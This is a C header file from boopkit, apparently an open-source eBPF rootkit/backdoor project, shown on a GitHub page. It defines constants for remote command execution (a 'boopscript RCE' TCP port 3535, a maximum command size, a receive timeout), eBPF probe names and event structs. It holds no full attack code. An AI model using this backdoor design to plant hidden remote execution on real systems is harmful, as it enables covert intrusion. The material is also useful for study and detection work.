-
Notifications
You must be signed in to change notification settings - Fork 176
/
boopkit.h
77 lines (65 loc) · 2.58 KB
/
boopkit.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// Copyright © 2022 Kris Nóva <[email protected]>
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// ███╗ ██╗ ██████╗ ██╗ ██╗ █████╗
// ████╗ ██║██╔═████╗██║ ██║██╔══██╗
// ██╔██╗ ██║██║██╔██║██║ ██║███████║
// ██║╚██╗██║████╔╝██║╚██╗ ██╔╝██╔══██║
// ██║ ╚████║╚██████╔╝ ╚████╔╝ ██║ ██║
// ╚═╝ ╚═══╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═╝
//
#ifndef BOOPKIT_BOOPKIT_H
#define BOOPKIT_BOOPKIT_H
// MAX_RCE_SIZE is the maximum size of a boop command to execute.
#define MAX_RCE_SIZE 1024
#define EVENT_SRC_BAD_CSUM 1
#define EVENT_SRC_RECEIVE_RESET 2
// event_boop_t represents an event from the kernel.
//
// We will pass as much data up to userspace as possible.
// The convention is to not mutate the data in the eBPF probe
// but rather translate the data to userspace as quickly as possible.
//
// The userspace component will be responsible for making sense
// of whatever data is transferred in an event.
//
// NOTE: All event_boop_t fields MUST be used in a probe in order
// to pass the eBPF verifier!
struct event_boop_t {
// saddr is 28 fucking bytes
__u8 saddr[28];
// an enumerated type of EVENT_SRC_* from above
int event_src_code;
};
// PORT for the boopkit TCP protocol for boopscript RCE
#define PORT 3535
#define DEFAULT_PCAP_INTERFACE "lo"
// MAX_DENY_ADDRS is the maximum amount of address that can be denied.
#define MAX_DENY_ADDRS 1024
// eBPF Probes
#define PROBE_BOOP "pr0be.boop.o"
#define PROBE_SAFE "pr0be.safe.o"
#define PROBE_XDP "pr0be.xdp.o"
// TIMEOUT_SECONDS_RECVRCE timeout seconds for recvrce()
#define TIMEOUT_SECONDS_RECVRCE 1
struct pkt_trace_metadata {
__u32 ifindex;
__u32 rx_queue;
__u16 pkt_len;
__u16 cap_len;
__u16 flags;
__u16 prog_index;
int action;
} __packed;
#endif // BOOPKIT_BOOPKIT_H